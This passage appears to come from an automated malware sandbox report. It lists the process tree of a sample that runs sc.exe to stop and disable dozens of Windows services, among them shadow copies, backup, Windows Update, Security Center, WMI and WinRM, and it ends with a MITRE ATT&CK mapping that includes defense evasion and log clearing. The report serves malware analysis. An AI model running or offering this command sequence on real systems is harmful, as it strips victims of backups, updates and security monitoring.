  - - C:\Windows\system32\sc.exe
      "sc" stop WarpJITSvc
      4⤵
      PID:3868
  - - C:\Windows\system32\sc.exe
      "sc" config VSS start= disabled
      4⤵
      PID:2564
  - - C:\Windows\system32\sc.exe
      "sc" stop wbengine
      4⤵
      PID:2988
  - - C:\Windows\system32\sc.exe
      "sc" stop WbioSrvc
      4⤵
      Launches sc.exe
      PID:4264
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3248
  - - C:\Windows\system32\sc.exe
      "sc" config WaaSMedicSvc start= disabled
      4⤵
      PID:2968
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3028
  - - C:\Windows\system32\sc.exe
      "sc" stop Wcmsvc
      4⤵
      PID:2828
  - - C:\Windows\system32\sc.exe
      "sc" config WarpJITSvc start= disabled
      4⤵
      PID:3528
  - - C:\Windows\system32\sc.exe
      "sc" stop wcncsvc
      4⤵
      PID:2872
  - - C:\Windows\system32\sc.exe
      "sc" config WalletService start= disabled
      4⤵
      PID:4940
  - - C:\Windows\system32\sc.exe
      "sc" config WbioSrvc start= disabled
      4⤵
      PID:4440
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1752
  - - C:\Windows\system32\sc.exe
      "sc" config wbengine start= disabled
      4⤵
      PID:2536
  - - C:\Windows\system32\sc.exe
      "sc" stop WdiServiceHost
      4⤵
      PID:2708
  - - C:\Windows\system32\sc.exe
      "sc" stop WdiSystemHost
      4⤵
      Launches sc.exe
      PID:2812
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1584
  - - C:\Windows\system32\sc.exe
      "sc" config Wcmsvc start= disabled
      4⤵
      PID:1092
  - - C:\Windows\system32\sc.exe
      "sc" stop WebClient
      4⤵
      PID:2652
  - - C:\Windows\system32\sc.exe
      "sc" config wcncsvc start= disabled
      4⤵
      PID:2676
  - - C:\Windows\system32\sc.exe
      "sc" stop Wecsvc
      4⤵
      PID:3520
  - - C:\Windows\system32\sc.exe
      "sc" stop WEPHOSTSVC
      4⤵
      PID:2464
  - - C:\Windows\system32\sc.exe
      "sc" config WdiSystemHost start= disabled
      4⤵
      PID:4456
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4468
  - - C:\Windows\system32\sc.exe
      "sc" config WdiServiceHost start= disabled
      4⤵
      PID:364
  - - C:\Windows\system32\sc.exe
      "sc" stop wercplsupport
      4⤵
      PID:2852
  - - C:\Windows\system32\sc.exe
      "sc" config WebClient start= disabled
      4⤵
      PID:1776
  - - C:\Windows\system32\sc.exe
      "sc" stop WerSvc
      4⤵
      PID:1036
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1052
  - - C:\Windows\system32\sc.exe
      "sc" config Wecsvc start= disabled
      4⤵
      PID:1720
  - - C:\Windows\system32\sc.exe
      "sc" stop WFDSConMgrSvc
      4⤵
      PID:2384
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4120
  - - C:\Windows\system32\sc.exe
      "sc" config WEPHOSTSVC start= disabled
      4⤵
      PID:2640
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1932
  - - C:\Windows\system32\sc.exe
      "sc" config wercplsupport start= disabled
      4⤵
      Launches sc.exe
      PID:1908
  - - C:\Windows\system32\sc.exe
      "sc" stop WiaRpc
      4⤵
      PID:2948
  - - C:\Windows\system32\sc.exe
      "sc" stop WinHttpAutoProxySvc
      4⤵
      Launches sc.exe
      PID:1552
  - - C:\Windows\system32\sc.exe
      "sc" stop Winmgmt
      4⤵
      PID:1684
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5096
  - - C:\Windows\system32\sc.exe
      "sc" config WerSvc start= disabled
      4⤵
      PID:4728
  - - C:\Windows\system32\sc.exe
      "sc" config WFDSConMgrSvc start= disabled
      4⤵
      PID:4872
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1412
  - - C:\Windows\system32\sc.exe
      "sc" stop WinRM
      4⤵
      PID:4196
  - - C:\Windows\system32\sc.exe
      "sc" stop wisvc
      4⤵
      PID:4164
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1196
  - - C:\Windows\system32\sc.exe
      "sc" config WinHttpAutoProxySvc start= disabled
      4⤵
      PID:3776
  - - C:\Windows\system32\sc.exe
      "sc" config WiaRpc start= disabled
      4⤵
      PID:3268
  - - C:\Windows\system32\sc.exe
      "sc" config Winmgmt start= disabled
      4⤵
      PID:3760
  - - C:\Windows\system32\sc.exe
      "sc" stop WlanSvc
      4⤵
      Launches sc.exe
      PID:1916
  - - C:\Windows\system32\sc.exe
      "sc" config WinRM start= disabled
      4⤵
      PID:752
  - - C:\Windows\system32\sc.exe
      "sc" config wisvc start= disabled
      4⤵
      PID:3436
  - - C:\Windows\system32\sc.exe
      "sc" stop wlidsvc
      4⤵
      PID:2940
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2700
  - - C:\Windows\system32\sc.exe
      "sc" stop wlpasvc
      4⤵
      PID:404
  - - C:\Windows\system32\sc.exe
      "sc" stop WManSvc
      4⤵
      PID:3668
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3996
  - - C:\Windows\system32\sc.exe
      "sc" config WlanSvc start= disabled
      4⤵
      PID:1760
  - - C:\Windows\system32\sc.exe
      "sc" stop wmiApSrv
      4⤵
      PID:2884
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3916
  - - C:\Windows\system32\sc.exe
      "sc" stop WMPNetworkSvc
      4⤵
      PID:4012
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2040
  - - C:\Windows\system32\sc.exe
      "sc" stop workfolderssvc
      4⤵
      PID:2252
  - - C:\Windows\system32\sc.exe
      "sc" config wlpasvc start= disabled
      4⤵
      PID:1492
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2564
  - - C:\Windows\system32\sc.exe
      "sc" config wmiApSrv start= disabled
      4⤵
      PID:4136
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2016
  - - C:\Windows\system32\sc.exe
      "sc" config workfolderssvc start= disabled
      4⤵
      PID:4512
  - - C:\Windows\system32\sc.exe
      "sc" config wlidsvc start= disabled
      4⤵
      PID:4720
  - - C:\Windows\system32\sc.exe
      "sc" stop WpcMonSvc
      4⤵
      PID:3232
  - - C:\Windows\system32\sc.exe
      "sc" config WMPNetworkSvc start= disabled
      4⤵
      PID:1980
  - - C:\Windows\system32\sc.exe
      "sc" config WManSvc start= disabled
      4⤵
      PID:4260
  - - C:\Windows\system32\sc.exe
      "sc" stop WPDBusEnum
      4⤵
      PID:4156
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4220
  - - C:\Windows\system32\sc.exe
      "sc" stop WpnService
      4⤵
      PID:3600
  - - C:\Windows\system32\sc.exe
      "sc" config WpcMonSvc start= disabled
      4⤵
      PID:4192
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2872
  - - C:\Windows\system32\sc.exe
      "sc" stop wscsvc
      4⤵
      PID:4336
  - - C:\Windows\system32\sc.exe
      "sc" stop WSearch
      4⤵
      PID:1160
  - - C:\Windows\system32\sc.exe
      "sc" stop wuauserv
      4⤵
      Launches sc.exe
      PID:2536
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3724
  - - C:\Windows\system32\sc.exe
      "sc" stop WwanSvc
      4⤵
      PID:2708
  - - C:\Windows\system32\sc.exe
      "sc" config WPDBusEnum start= disabled
      4⤵
      PID:4856
  - - C:\Windows\system32\sc.exe
      "sc" config WpnService start= disabled
      4⤵
      PID:2980
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2652
  - - C:\Windows\system32\sc.exe
      "sc" stop XblAuthManager
      4⤵
      PID:3924
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4880
  - - C:\Windows\system32\sc.exe
      "sc" config wscsvc start= disabled
      4⤵
      PID:2612
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1376
  - - C:\Windows\system32\sc.exe
      "sc" config WSearch start= disabled
      4⤵
      PID:3520
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2636
  - - C:\Windows\system32\sc.exe
      "sc" config wuauserv start= disabled
      4⤵
      PID:4368
  - - C:\Windows\system32\sc.exe
      "sc" stop XblGameSave
      4⤵
      PID:1844
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4648
  - - C:\Windows\system32\sc.exe
      "sc" config WwanSvc start= disabled
      4⤵
      PID:4628
  - - C:\Windows\system32\sc.exe
      "sc" config XblAuthManager start= disabled
      4⤵
      PID:1528
  - - C:\Windows\system32\sc.exe
      "sc" stop XboxGipSvc
      4⤵
      PID:4284
  - - C:\Windows\system32\sc.exe
      "sc" stop XboxNetApiSvc
      4⤵
      PID:4860
  - - C:\Windows\system32\sc.exe
      "sc" stop AarSvc_1f268
      4⤵
      PID:1452
  - - C:\Windows\system32\sc.exe
      "sc" stop BcastDVRUserService_1f268
      4⤵
      PID:116
  - - C:\Windows\system32\sc.exe
      "sc" stop BluetoothUserService_1f268
      4⤵
      PID:60
  - - C:\Windows\system32\sc.exe
      "sc" config XblGameSave start= disabled
      4⤵
      Launches sc.exe
      PID:1788
  - - C:\Windows\system32\sc.exe
      "sc" stop CaptureService_1f268
      4⤵
      PID:3428
  - - C:\Windows\system32\sc.exe
      "sc" config XboxGipSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2628
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4236
  - - C:\Windows\system32\sc.exe
      "sc" config BcastDVRUserService_1f268 start= disabled
      4⤵
      Launches sc.exe
      PID:884
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2728
  - - C:\Windows\system32\sc.exe
      "sc" config AarSvc_1f268 start= disabled
      4⤵
      PID:4780
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1116
  - - C:\Windows\system32\sc.exe
      "sc" config XboxNetApiSvc start= disabled
      4⤵
      PID:4204
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1832
  - - C:\Windows\system32\sc.exe
      "sc" stop cbdhsvc_1f268
      4⤵
      PID:4964
  - - C:\Windows\system32\sc.exe
      "sc" config BluetoothUserService_1f268 start= disabled
      4⤵
      PID:4756
  - - C:\Windows\system32\sc.exe
      "sc" config CaptureService_1f268 start= disabled
      4⤵
      PID:3824
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4288
  - - C:\Windows\system32\sc.exe
      "sc" stop CDPUserSvc_1f268
      4⤵
      Launches sc.exe
      PID:1548
  - - C:\Windows\system32\sc.exe
      "sc" stop ConsentUxUserSvc_1f268
      4⤵
      Launches sc.exe
      PID:4300
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4424
  - - C:\Windows\system32\sc.exe
      "sc" stop CredentialEnrollmentManagerUserSvc_1f268
      4⤵
      PID:2532
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceAssociationBrokerSvc_1f268
      4⤵
      PID:3748
  - - C:\Windows\system32\sc.exe
      "sc" stop DevicePickerUserSvc_1f268
      4⤵
      PID:4152
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3976
  - - C:\Windows\system32\sc.exe
      "sc" config cbdhsvc_1f268 start= disabled
      4⤵
      PID:4100
  - - C:\Windows\system32\sc.exe
      "sc" stop DevicesFlowUserSvc_1f268
      4⤵
      PID:3268
  - - C:\Windows\system32\sc.exe
      "sc" config ConsentUxUserSvc_1f268 start= disabled
      4⤵
      PID:4864
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1992
  - - C:\Windows\system32\sc.exe
      "sc" config CDPUserSvc_1f268 start= disabled
      4⤵
      PID:3016
  - - C:\Windows\system32\sc.exe
      "sc" config CredentialEnrollmentManagerUserSvc_1f268 start= disabled
      4⤵
      PID:3300
  - - C:\Windows\system32\sc.exe
      "sc" config DevicePickerUserSvc_1f268 start= disabled
      4⤵
      PID:1136
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceAssociationBrokerSvc_1f268 start= disabled
      4⤵
      PID:4360
  - - C:\Windows\system32\sc.exe
      "sc" stop MessagingService_1f268
      4⤵
      Launches sc.exe
      PID:5116
  - - C:\Windows\system32\sc.exe
      "sc" stop OneSyncSvc_1f268
      4⤵
      PID:912
  - - C:\Windows\system32\sc.exe
      "sc" config DevicesFlowUserSvc_1f268 start= disabled
      4⤵
      PID:2884
  - - C:\Windows\system32\sc.exe
      "sc" stop PimIndexMaintenanceSvc_1f268
      4⤵
      Launches sc.exe
      PID:2252
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintWorkflowUserSvc_1f268
      4⤵
      PID:1520
  - - C:\Windows\system32\sc.exe
      "sc" stop UdkUserSvc_1f268
      4⤵
      PID:4768
  - - C:\Windows\system32\sc.exe
      "sc" stop UnistoreSvc_1f268
      4⤵
      PID:4280
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2236
  - - C:\Windows\system32\sc.exe
      "sc" config OneSyncSvc_1f268 start= disabled
      4⤵
      PID:4452
  - - C:\Windows\system32\sc.exe
      "sc" config MessagingService_1f268 start= disabled
      4⤵
      PID:4048
  - - C:\Windows\system32\sc.exe
      "sc" stop UserDataSvc_1f268
      4⤵
      PID:4720
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4808
  - - C:\Windows\system32\sc.exe
      "sc" config PimIndexMaintenanceSvc_1f268 start= disabled
      4⤵
      PID:2704
  - - C:\Windows\system32\sc.exe
      "sc" config PrintWorkflowUserSvc_1f268 start= disabled
      4⤵
      PID:3848
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4200
  - - C:\Windows\system32\sc.exe
      "sc" config UdkUserSvc_1f268 start= disabled
      4⤵
      PID:4556
  - - C:\Windows\system32\sc.exe
      "sc" config UnistoreSvc_1f268 start= disabled
      4⤵
      PID:3328
  - - C:\Windows\system32\sc.exe
      "sc" stop WpnUserService_1f268
      4⤵
      Launches sc.exe
      PID:4428
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4192
  - - C:\Windows\system32\sc.exe
      "sc" config UserDataSvc_1f268 start= disabled
      4⤵
      PID:1476
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1348
  - - C:\Windows\system32\sc.exe
      "sc" config WpnUserService_1f268 start= disabled
      4⤵
      Launches sc.exe
      PID:1220
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2424
  - - C:\Windows\system32\sc.exe
      "sc" config RmSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3724

C:\Windows\system32\usoclient.exe
C:\Windows\system32\usoclient.exe ReportPolicies
1⤵
PID:4520

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

Clear Persistence

T1070.009

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry